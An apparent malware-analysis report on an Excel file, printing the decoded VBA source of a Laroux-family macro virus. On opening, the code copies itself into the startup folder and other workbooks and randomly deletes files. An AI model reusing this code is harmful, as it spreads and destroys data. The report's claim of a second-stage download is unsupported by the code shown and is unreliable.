MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The critical heuristic firing indicates the presence of a known malicious macro (Xls.Trojan.Laroux-22). The Auto_Open macro is present and attempts to save a file named 'OFFICE_.XLS' to the application startup path, likely to download and execute a second-stage payload. The macro's obfuscated nature and truncated content limit full analysis, but the intent to execute a secondary payload is clear.
Heuristics 2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4178 bytes |
SHA-256: c5065150f0da6d57589d9d69ea7abf8b7d019a75e64b9814ffec3d4ef29643ba |
|||
|
Detection
ClamAV:
Xls.Trojan.Laroux-22
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Majoduck_SK_1"
Rem Macro Majoduck_SK_1 ,Made in Slovakia
Rem -----------------------------------
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error GoTo EndCode
Application.OnSheetActivate = "Office_menu"
EndCode: End Sub
Sub Office_menu()
Attribute Office_menu.VB_ProcData.VB_Invoke_Func = " \n14"
On Error GoTo ActiveCode100
ActivateCodePaswordCodeNameOfficeApplicationScenarioPivotTableHyperlinkMailerStyles$ = Application.StartupPath
NowSystemModuleSelectFrameVisableOffice$ = Dir(ActivateCodePaswordCodeNameOfficeApplicationScenarioPivotTableHyperlinkMailerStyles$ & "\" & "OFFICE_.XLS")
If NowSystemModuleSelectFrameVisableOffice$ = "OFFICE_.XLS" Then RunNextNameSelectLineFormatTableStripCommandBarButton = 1 Else RunNextNameSelectLineFormatTableStripCommandBarButton = 0
If ActiveWorkbook.Modules.Count > 0 Then ForWorkbookFilesCodeNameDocumentSelectedApplicationWorksheetFunction = 1 Else
WhichFileOfficePaswordCodeReadDataObjectStartDrangStateWindowSmallScroll = RunNextNameSelectLineFormatTableStripCommandBarButton + ForWorkbookFilesCodeNameDocumentSelectedApplicationWorksheetFunction * 10
Select Case WhichFileOfficePaswordCodeReadDataObjectStartDrangStateWindowSmallScroll
Case 10
ActiveWorkbookNameApplicationEvaluateSaveAsNarmalModulSelectEndConnect$ = ActiveWorkbook.Name
Sheets("Majoduck_SK_1").Visible = True
Sheets("Majoduck_SK_1").Select: Sheets("Majoduck_SK_1").Copy
NewnameWorkbooksPaswordNameThisframesCopyNextApplicationWindowsLineFormat$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks(NewnameWorkbooksPaswordNameThisframesCopyNextApplicationWindowsLineFormat$).SaveAs FileName:=Application.StartupPath & "/" & "OFFICE_.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, CreateBackup:=False
Workbooks(ActiveWorkbookNameApplicationEvaluateSaveAsNarmalModulSelectEndConnect$).Sheets("Majoduck_SK").Visible = False
Case 1
EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$ = ActiveWorkbook.Name
PrintInputGetNextActiveteNormalWindowsNamesSelectNowVisablefortCode159wle45FF05$ = Workbooks(EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$).Sheets(1).Name
If PrintInputGetNextActiveteNormalWindowsNamesSelectNowVisablefortCode159wle45FF05$ <> "Majoduck_SK_1" Then
Workbooks("OFFICE_.XLS").Sheets("Majoduck_SK_1").Copy Workbooks(EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$).Sheets(1)
Workbooks(EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$).Sheets("Majoduck_SK_1").Visible = False
CodeForGosubThen = Int(Rnd(1) * 11 + 1): If CodeForGosubThen >= 8 Then ActiveWorkbook.Save Else
Else
End If
Case Else
On Error GoTo ActiveCode100
If Windows("OFFICE_.XLS").Visible = True Then Windows("OFFICE_.XLS").Visible = False
CodeForGotoNowThen = Int(Rnd(1) * 301 + 1)
ActiveCode20: If CodeForGotoNowThen = 7 Or CodeForGotoNowThen = 11 Then ActiveSheet.ChartObjects.Select: Selection.Delete:
CtiveCellFormulaR1C1ThenGosub123$ = MakePathCompileas123ThenGoto112456$: If CodeForGotoNowThen > 297 Then Kill "*.hlp"
CtiveCellFormulaR1C1ThenGosub1r78$ = MakePathCompileas2358ThenGoto112456$: If CodeForGotoNowThen = 77 Then Kill "*.b*"
CtiveCellFormulaR1C1ThenGosub4520$ = MakePathCompileas698ThenGoto162498$: If CodeForGotoNowThen = 3 Or CodeForGotoNowThen = 1 Then Kill "*.c*"
CtiveCellFormulaR1C1ThenGosub123rt$ = MakePathCompileas123ThenGoto112456$: If CodeForGotoNowThen <= 6 Then Kill "*.dll"
ActiveCode100: End Select
Rem Macro Majoduck_SK_1 ,Made in Slovakia
Rem Soft by *** Drake *** for Microsoft
End Sub
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.